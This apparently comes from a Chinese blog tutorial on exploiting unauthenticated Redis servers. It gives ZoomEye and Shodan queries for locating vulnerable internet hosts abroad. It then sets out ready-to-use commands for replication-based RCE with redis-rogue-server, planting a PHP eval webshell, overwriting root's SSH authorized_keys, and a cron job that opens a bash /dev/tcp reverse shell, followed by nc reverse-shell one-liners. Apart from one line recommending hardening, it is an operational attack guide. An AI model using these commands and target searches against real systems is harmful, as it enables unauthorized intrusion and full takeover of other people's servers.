感谢以下文章和工具:
GitHub - n0b0dyCN/redis-rogue-server: Redis(<=5.0.5) RCE
NC反弹shell的几种方法 - ctrl_TT豆 - 博客园
Redis未授权访问漏洞利用及防护措施(非常详细)_redis无密码执行shell_7Riven的博客-CSDN博客
Redis漏洞总结 - FreeBuf网络安全行业门户
redis 的靶机的漏洞复现的前提条件:
redis都是使用root用户进行运行,否则很多保存文件的操作无法实现,也就无法实现webshell 上传,修改ssh公钥,修改计划任务。
所以web站点凡是使用redis中间件,都要进行基线检查加固,防止黑客利用未授权访问漏洞提权,造成主机失陷。
一、目标探测
通过物联网搜索引擎,筛选出存在 远程主从复制RCE 的 目标规则,
只适用于 redis 主从复制RCE漏洞 。
- zoomeye(钟馗之眼)
- port:“6379” +country:“日本” +app:“Redis key-value store” +Banner:“redis_version:5.0.3”
- port:“6379” +app:“Redis key-value store” +Banner:“redis_version:5.0.5” -country:“CN” +after:“2023-01-01” +country:“JP”
Banner 是通过报文回复内容,筛选出关键字,防止空军,并且过滤掉关闭未授权访问的redis主机ip。从而实现精准获取目标主机,进行实操。
- shodan
port:“6379” product:“Redis key-value store” version:“5.0.4” -country:“CN”
port:“6379” product:“Redis key-value store” version:“5.0.3” -country:“CN”
port:“6379” product:“Redis key-value store” version:“5.0.2” -country:“CN”
其他提权方式的条件过多,很难进行规则筛选。
二、多种漏洞原理
1. 远程主从复制RCE
漏洞原理
漏洞存在于4.x、5.x版本中,Redis提供了主从模式,主从模式指使用一个redis作为主机,其他的作为备份机,主机从机数据都是一样的,从机负责读,主机只负责写,通过读写分离可以大幅度减轻流量的压力,算是一种通过牺牲空间来换取效率的缓解方式。在redis 4.x之后,通过外部拓展可以实现在redis中实现一个新的Redis命令,通过写c语言并编译出.so文件。在两个Redis实例设置主从模式的时候,Redis的主机实例可以通过FULLRESYNC同步文件到从机上。然后在从机上加载恶意so文件,即可执行命令。
漏洞复现
redis-rogue-server工具下载地址:https://github.com/n0b0dyCN/redis-rogue-server
该工具无法对Redis密码进行Redis认证,也就是说该工具只适合目标存在Redis未授权访问漏洞时使用。如果存在密码可以使用下面这个工具。
Awsome-Redis-Rogue-Server工具下载地址:https://github.com/Testzero-wz/Awsome-Redis-Rogue-Server
执行反弹
python3 redis-rogue-server.py -rhost (靶机IP) -lhost (反弹shell IP)
选择交互式的shell(interactive shell) 或者反弹shell(reserve shell),这里选择的是交互式;若是选择反弹的如下:
这部分的缺点就是只适用于目标机器允许远程登录的时候,如果目标机子只允许本地登录,则这种利用方法就不行了,此时可以配合其他漏洞,从目标本地登录redis。
获取权限后使用反弹shell,连接攻击机,
bash -i >& /dev/tcp/(LHOST IP)/9999 0>&1
nc -lvnp 9999
./redis-rce.py -r (目标IP) -L (反弹IP) -f ./exp.so
2. 上传webshell 获取权限
靶机开启着web服务存,并且是默认web目录的路径,并且具有读写增删改查的权限。
即可通过redis 未授权访问漏洞,上传webshell文件,使用远程连接工具蚁剑达到控制服务器的目的。
config set dir /var/www/html/
//切换到网站的根目录
config set dbfilename shell.php
//在磁盘中生成木马文件
set xxx "\n\n\n<?php @eval($_POST['pass']);?>\n\n\n"
//写入恶意代码到内存中,这里的\n\n\n代表换行的意思,用redis写入文件的会自带一些版本信息,如果不换行可能会导致无法执行.
save
//将内存中的数据导出到磁盘
config get dir
//即可查看保存路径 ,确保路径无误
3. redis密钥登录 ssh
漏洞原理:
在数据库中插入一条数据,将本机的公钥作为value,key值随意。然后通过修改靶机redis保存目录,默认路径为/root/.ssh 和默认authorized_keys的公钥值,实现攻击者的远程登录。
authorized_keys
当客户端尝试连接到服务器时,服务器会检查客户端提供的私钥是否与其在 authorized_keys 文件中存储的公钥匹配
漏洞复现:
root # ssh-keygen -t rsa
// 攻击机shell 生成本机的ssh公钥,默认保存位置为 /root/.ssh/
root # cd /root/.ssh/
root # echo -e “\n\n”; cat id_rsa.pub; echo -e “\n\n”) > key.txt
root # cat key.txt
cat key.txt | redis-cli -h 靶机IP -x set xxx
//-x 代表从标准输入读取数据作为该命令的最后一个参数。key:xxx,value:公钥。
登录redis 开始修改公钥文件
config set dir /root/.ssh
config set dbfilename authorized_keys
save //ok即可
config get dir
//即可查看保存路径 ,确保路径无误
攻击者开始连接靶机
ssh -i id_rsa root@(靶机IP)
或者
ssh (靶机IP)
4.利用计划任务反弹shell
在大多数 Linux 系统中,包括 Ubuntu、Debian 和 CentOS,crontab 的默认行为类似。
例如,它们通常使用 Vixie cron 或 systemd-cron 作为 cron 守护进程,并把用户的 crontab 文件存储在 /var/spool/cron/crontabs 目录或者 /var/spool/cron中。
centos的定时任务目录在/var/spool/cron/目录下,
kali和ubuntu的定时任务文件在/var/spool/cron/crontabs目录下
利用Redis未授权漏洞,可以通过写入文件到系统计划任务目录 /var/spool/cron下来执行。
攻击者先开始nc侦听: root#nc -lvp 7777
连接redis,写入反弹shell
set xx "\n* * * * * bash -i >& /dev/tcp/192.168.190.129/7777 0>&1\n"
//星号表示的是计划任务的时间
config set dir /var/spool/cron/ //或者 /var/spool/cron/crontabs
config set dbfilename root // 计划任务的文件名为root
save // ok
config get dir
//即可查看保存路径 ,确保路径无误
未验证:root文件的权限必须为600,否则会出现
cron[53948]: (root) INSECURE MODE (mode 0600 expected)
四、归纳总结
【趣话Redis第一弹】我是Redis,MySQL大哥被我坑惨了!_哔哩哔哩_bilibili
这个视频帮助我快速认识redis ,redis与数据库之间的关系,以及redis 哨兵模式和高可用性的工作原理。
常见NC获取shell的方法
正向反弹shell
ubuntu或者CentOS上面输入
nc -lvp 7777 -e /bin/bash
kali上输入
nc ip 7777
正向反弹是目标机先执行nc命令,然后kali上再进行nc监听,即可反弹shell。
需要目标机安装nc。
反向反弹shell
方法1:bash反弹
bash -i >& /dev/tcp/ip/port 0>&1
但首先需要在kali上使用nc监听端口:
nc -lvp 7777
此方法在ubuntu下不会反弹成功,CentOS可以反弹成功。
更改命令别名(临时):
alias t=“./redis-rogue-server.py --lhost 1 --rhost”
alias c="./redis-rce.py -L -f exp.so -r "